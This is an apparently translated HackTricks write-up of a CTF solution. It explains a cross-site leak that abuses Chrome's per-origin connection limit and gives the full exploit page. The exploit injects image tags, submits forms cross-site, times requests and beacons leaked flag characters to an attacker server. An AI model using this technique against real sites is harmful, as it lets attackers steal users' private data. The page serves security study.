hacktricks/src/pentesting-web/xs-search/connection-pool-by-destination-example.md

116 lines
3.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Connection Pool by Destination Example
{{#include ../../banners/hacktricks-training.md}}
In [**this exploit**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq) は、次のページで言及された課題に対する別の解決策を提案しています:
{{#ref}}
connection-pool-by-destination-example.md
{{#endref}}
このエクスプロイトがどのように機能するか見てみましょう:
- 攻撃者は、できるだけ多くの **`<img`** タグ **を読み込む** **`/js/purify.js`** を注入しますオリジンをブロックするために6つ以上
- 次に、攻撃者はインデックス1の **ノート****削除** します。
- 次に、攻撃者は \[残りのノートで **ボットがページにアクセスする**\] ようにし、**`victim.com/js/purify.js`** に **リクエスト** を送信し、その **時間****計測** します。&#x20;
- 時間が **大きければ**、**注入** は残された **ノート** にあり、時間が **小さければ**、**フラグ** はそこにありました。
> [!NOTE]
> 正直なところ、スクリプトを読んでいると、**攻撃者がボットにページを読み込ませて img タグをトリガーさせる** 部分が抜けているように思います。コードの中にそのようなものは見当たりません。
```html
<html>
<head>
<script>
const SITE_URL = "https://safelist.ctf.sekai.team/"
const PING_URL = "https://myserver"
function timeScript() {
return new Promise((resolve) => {
var x = document.createElement("script")
x.src =
"https://safelist.ctf.sekai.team/js/purify.js?" + Math.random()
var start = Date.now()
x.onerror = () => {
console.log(`Time: ${Date.now() - start}`) //Time request
resolve(Date.now() - start)
x.remove()
}
document.body.appendChild(x)
})
}
add_note = async (note) => {
let x = document.createElement("form")
x.action = SITE_URL + "create"
x.method = "POST"
x.target = "xxx"
let i = document.createElement("input")
i.type = "text"
i.name = "text"
i.value = note
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}
remove_note = async (note_id) => {
let x = document.createElement("form")
x.action = SITE_URL + "remove"
x.method = "POST"
x.target = "_blank"
let i = document.createElement("input")
i.type = "text"
i.name = "index"
i.value = note_id
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms))
// }zyxwvutsrqponmlkjihgfedcba_
const alphabet = "zyxwvutsrqponmlkjihgfedcba_"
var prefix = "SEKAI{xsleakyay"
const TIMEOUT = 500
async function checkLetter(letter) {
// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not.
// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
const payload =
`${prefix}${letter}` +
Array.from(Array(78))
.map((e, i) => `<img/src=/js/purify.js?${i}>`)
.join("")
await add_note(payload)
await sleep(TIMEOUT)
await timeScript()
await remove_note(1) //Now, only the note with the flag or with the injection existsh
await sleep(TIMEOUT)
const time = await timeScript() //Find out how much a request to the same origin takes
navigator.sendBeacon(PING_URL, [letter, time])
if (time > 100) {
return 1
}
return 0
}
window.onload = async () => {
navigator.sendBeacon(PING_URL, "start")
// doesnt work because we are removing flag after success.
// while(1){
for (const letter of alphabet) {
if (await checkLetter(letter)) {
prefix += letter
navigator.sendBeacon(PING_URL, prefix)
break
}
}
// }
}
</script>
</head>
<body></body>
</html>
```
{{#include ../../banners/hacktricks-training.md}}